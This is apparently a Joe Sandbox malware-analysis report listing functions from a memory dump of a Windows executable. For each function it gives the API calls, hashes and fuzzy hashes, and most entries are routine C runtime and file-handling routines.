Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: 833a19a7183c3a67044c39a1e7c8a53260805929faaaf04ce1acbdda8b337b7b
Instruction ID: bfb1f1a3372ae89f18b9d09fa7ff7a8338bcb7175cb11fe24fcc050218e154ef
Opcode Fuzzy Hash: 833a19a7183c3a67044c39a1e7c8a53260805929faaaf04ce1acbdda8b337b7b
Instruction Fuzzy Hash: 49510733A3964286EA60BB99F4403BAA290FB84799FD54135DE4D437ADEF3CE550C710

Function 00007FF77B1FDDB8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,00000000,?,00007FF77B1FE152,?,?,-00000018,00007FF77B1FA223,?,?,?,00007FF77B1FA11A,?,?,?,00007FF77B1F5472), ref: 00007FF77B1FDF34
GetProcAddress.KERNEL32(?,00000000,?,00007FF77B1FE152,?,?,-00000018,00007FF77B1FA223,?,?,?,00007FF77B1FA11A,?,?,?,00007FF77B1F5472), ref: 00007FF77B1FDF40

Strings

ext-ms-, xrefs: 00007FF77B1FDE91
api-ms-, xrefs: 00007FF77B1FDE7E

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 01869d8b0b1ae08ce046380e8c955ca032c286979885a37836ee5a28d8bde6d1
Instruction ID: 48885b606126a1f10fafe6d0f11228a5f29570d385e9591c4b4add60e7730958
Opcode Fuzzy Hash: 01869d8b0b1ae08ce046380e8c955ca032c286979885a37836ee5a28d8bde6d1
Instruction Fuzzy Hash: 05410233B3B61285FA51AB1AA800575A392BF55BD4F894535DE0D477ACDE3CF406C320

Function 00007FF77B1FAF2C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1FB359

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 184652ea66a00c646f0d6e367f8fa0d47b8fb75159f9cd0cc9461bb9675fa9ff
Instruction ID: 7d40750ced76e36c966d1d0e0df4a0aee0882f4e8f58013f8c12a92191cad515
Opcode Fuzzy Hash: 184652ea66a00c646f0d6e367f8fa0d47b8fb75159f9cd0cc9461bb9675fa9ff
Instruction Fuzzy Hash: 71C1A43393D68689E760EB19B4506BEA6A1EF81B88F950131EB4D077B9CE7CF545C320

Function 00007FF77B1FC430 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF77B1FC41B), ref: 00007FF77B1FC54C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF77B1FC41B), ref: 00007FF77B1FC5D7

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: f410d9e07cb2d854853af875ff306a0e9c9ee922f70c4cde11a48ef332fbc2ec
Instruction ID: 6df108e922b48bbbf31aed6dcfea6db0430e88886b88a4e1f742dd38e447966f
Opcode Fuzzy Hash: f410d9e07cb2d854853af875ff306a0e9c9ee922f70c4cde11a48ef332fbc2ec
Instruction Fuzzy Hash: 8491E233F3965289F750AF6DA4402BDABA0AB40B9CF945539DF0E576A8CF38E441D720

Function 00007FF77B1FE8DC Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF77B1FE9CC
_get_daylight.LIBCMT ref: 00007FF77B1FE9DD
_get_daylight.LIBCMT ref: 00007FF77B1FE9EE
_isindst.LIBCMT ref: 00007FF77B1FEAB9

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: d5d13d1c94d14ccfec0c44e7243bbda22246c77cf8c41a11f0b86d98f8b3a05c
Instruction ID: 02816049e55c8abb5cf59f8b32d31a164c87ddecf2479b8b975a29cbab663ac2
Opcode Fuzzy Hash: d5d13d1c94d14ccfec0c44e7243bbda22246c77cf8c41a11f0b86d98f8b3a05c
Instruction Fuzzy Hash: 01510773F366118AEB14EB6CA8416BCA7A1BB0035CF948235EE1D526F9DB38B502C710

Function 00007FF77B1EB19C Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF77B1EB1AB

Part of subcall function 00007FF77B1EB36C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF77B1EB38E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF77B1EB1C0
__scrt_release_startup_lock.LIBCMT ref: 00007FF77B1EB22E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF77B1EB281

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 90a7fcc3a81af5bf04ad81541e301d7d9fb9f11ea0fdd18d74326f9016f6428e
Instruction ID: 45da0b10dfba89c492055cadf4bcc1055641ca20d3b60583ba0cc8483fddf553
Opcode Fuzzy Hash: 90a7fcc3a81af5bf04ad81541e301d7d9fb9f11ea0fdd18d74326f9016f6428e
Instruction Fuzzy Hash: 7931FA33E3910746EA54FBACA4952BA9281AF55349FC44134F60E576FFDE2CB4058271

Function 00007FF77B1F4680 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F46AD
CreateFileW.KERNELBASE ref: 00007FF77B1F46EC
CloseHandle.KERNEL32 ref: 00007FF77B1F4721

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 1c8fa0e9f1f268703cdfbf571ccde9a0ae4dbb37f3b5d3b3dc57de33b3aee677
Instruction ID: fb5c5b4652c6a26c8635ba80a27ca23ebdb6c9669036172a3ab39157263565d7
Opcode Fuzzy Hash: 1c8fa0e9f1f268703cdfbf571ccde9a0ae4dbb37f3b5d3b3dc57de33b3aee677
Instruction Fuzzy Hash: 4841C533D3978187E754AB25A510779A260FB957A8F509334E79C03AE9DF6CB1E0C720

Function 00007FF77B1F8888 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF77B1F8884), ref: 00007FF77B1F8899
TerminateProcess.KERNEL32(?,?,?,00007FF77B1F8884), ref: 00007FF77B1F88A4
ExitProcess.KERNEL32 ref: 00007FF77B1F88B3

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d426427e4f48dbbb9dc5f253e5f2c69f0b75b8518679dacd75070a6bbb583433
Instruction ID: 4b3f732dd46f69a6abf7e7c12295682f707c5d257be86164270086da1fbc590f
Opcode Fuzzy Hash: d426427e4f48dbbb9dc5f253e5f2c69f0b75b8518679dacd75070a6bbb583433
Instruction Fuzzy Hash: FBD06732F3A60686EA547B78685917992115F49745BE41438C90A167ABCD7CA4498331

Function 00007FF77B1EF39C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1EF3E0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1EF4D7

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd665411d6c8cb657e02e9163d495b47fe1eb31481a6a537198dee777c004d3e
Instruction ID: 8dd730b9b069c13c788f5777fc954c44b25b0710059707116b19bed899e5bfef
Opcode Fuzzy Hash: bd665411d6c8cb657e02e9163d495b47fe1eb31481a6a537198dee777c004d3e
Instruction Fuzzy Hash: 2351C873A3924247F624AEADA4006B6A381AF45BADFD44730DE6D477EDCF3CE4418620

Function 00007FF77B1FB604 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,00000000,00007FF77B1FB79D), ref: 00007FF77B1FB650
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF77B1FB79D), ref: 00007FF77B1FB65A

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ff2257711b1d275b862e663729d543ef4812b290fbf882e2e1232765a84f7875
Instruction ID: 33ef46e97b6ecadd9d07e880dec86b60039c66c2711d047b229839c79523fcf9
Opcode Fuzzy Hash: ff2257711b1d275b862e663729d543ef4812b290fbf882e2e1232765a84f7875
Instruction Fuzzy Hash: 38119073A39A4185DA10EB29B40416AA361AB45BF8F944331EA7D4BBEDCE3CE011C710

Function 00007FF77B1F6984 Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF77B1F6801), ref: 00007FF77B1F69A7
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF77B1F6801), ref: 00007FF77B1F69BD

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 830c94081867150c960b6d723a3faffd283ff7679e667b9fb6d49bf0e5e2b665
Instruction ID: 8558c888c7b5d7aa8cdbbfe28e975e7e189c767f21b2d2423ee3bb772839c315
Opcode Fuzzy Hash: 830c94081867150c960b6d723a3faffd283ff7679e667b9fb6d49bf0e5e2b665
Instruction Fuzzy Hash: 76015A3353D2518AE6606B18A40126AF7A1FB81765FA00336E7AD415ECDB3DE015DB20

Function 00007FF77B1F9E18 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF77B201E42,?,?,?,00007FF77B201E7F,?,?,00000000,00007FF77B202345,?,?,?,00007FF77B202277), ref: 00007FF77B1F9E2E
GetLastError.KERNEL32(?,?,?,00007FF77B201E42,?,?,?,00007FF77B201E7F,?,?,00000000,00007FF77B202345,?,?,?,00007FF77B202277), ref: 00007FF77B1F9E38

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 875bb2537aa3df01b4a1e34b7b101e94a2dc47b4cb64fa0c1180c15e07a79d81
Instruction ID: 9f9e3795dfc53d05d799730fc35fc1eb24ee5960a8ec4551d0af6abc1bebc446
Opcode Fuzzy Hash: 875bb2537aa3df01b4a1e34b7b101e94a2dc47b4cb64fa0c1180c15e07a79d81
Instruction Fuzzy Hash: DEE08673F3B20246FF14BBB9784517592515F94B84BC44034CA0D8227ADE2CB845C330

Function 00007FF77B1F6F70 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF77B1F6F74
GetLastError.KERNEL32 ref: 00007FF77B1F6F7E

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 677f2ceb8ee0d5d75214142403d5559098fe9c7e5a50d88e5e1a5187c850d191
Instruction ID: 136feea99a702d6f24b7bb1fa1d569e569c3c174a5d863eabdee30e3df496c23
Opcode Fuzzy Hash: 677f2ceb8ee0d5d75214142403d5559098fe9c7e5a50d88e5e1a5187c850d191
Instruction Fuzzy Hash: F2D0C936E3A50289E65437792C5563892902F55728FD00634C11AC01F8EE1CB185C231

Function 00007FF77B1F66EC Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF77B1F66F0
GetLastError.KERNEL32 ref: 00007FF77B1F66FA

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 45670ffc5494559b4402bb32e1ee61b2bed3bec50e0362f78a5b89dc8e7724e5
Instruction ID: 6bca9eedae8c71316f46c8ba3f3c435e635af716b6ac3cca1f05473d2dfc102a
Opcode Fuzzy Hash: 45670ffc5494559b4402bb32e1ee61b2bed3bec50e0362f78a5b89dc8e7724e5
Instruction Fuzzy Hash: 59D0C936E3A50289EA543779284523891902F55728FD00630C11EC11F9DE2CB155C231

Function 00007FF77B1FA028 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF77B1F9EA5,?,?,00000000,00007FF77B1F9F5A), ref: 00007FF77B1FA096
GetLastError.KERNEL32(?,?,?,00007FF77B1F9EA5,?,?,00000000,00007FF77B1F9F5A), ref: 00007FF77B1FA0A0

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 649148bb364a2e2bb6c01b4b98e8ba63ccdb9764b03dbbc10b4a89a301f042aa
Instruction ID: 8a777d38e46b66a18545f66b9355d99b0447c0a22eaaa39709bd972063c8c116
Opcode Fuzzy Hash: 649148bb364a2e2bb6c01b4b98e8ba63ccdb9764b03dbbc10b4a89a301f042aa
Instruction Fuzzy Hash: DA21C233F3A64245FA50B72CB4902B992A26F44798F945235DB2E477EACE6CB445C320

Function 00007FF77B1E6C90 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77B1E7A30: MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7A6A

_findclose.LIBCMT ref: 00007FF77B1E6EE9

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: 37a4e224697fbf4831613d35a88c56fbb79b718194e75a506f580689560dc945
Instruction ID: 4efd305fa1258d5789d78cb00d67d5e2845660f745fd29c1d2dc1829e43acffa
Opcode Fuzzy Hash: 37a4e224697fbf4831613d35a88c56fbb79b718194e75a506f580689560dc945
Instruction Fuzzy Hash: B271A653E28AC581E610DB2CD5052FDB360F7A9B4CF95E321DB9C525A6EF28E2D5C700

Function 00007FF77B1FB37C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1FB3A4

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7edcb5c19051daea02f21c4053ec30bf8603933813fd22e9cae156a3527bc5bd
Instruction ID: 1272d2690484da1e5714d51e99631779c2890ccc40624c57b94fd1e815ccd847
Opcode Fuzzy Hash: 7edcb5c19051daea02f21c4053ec30bf8603933813fd22e9cae156a3527bc5bd
Instruction Fuzzy Hash: 2F41B833D3A6018BEA24EA1DF54017AB394EB95798F900131E78E876E9CF2CF502C761

Function 00007FF77B1E7200 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF77B1E72AA

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

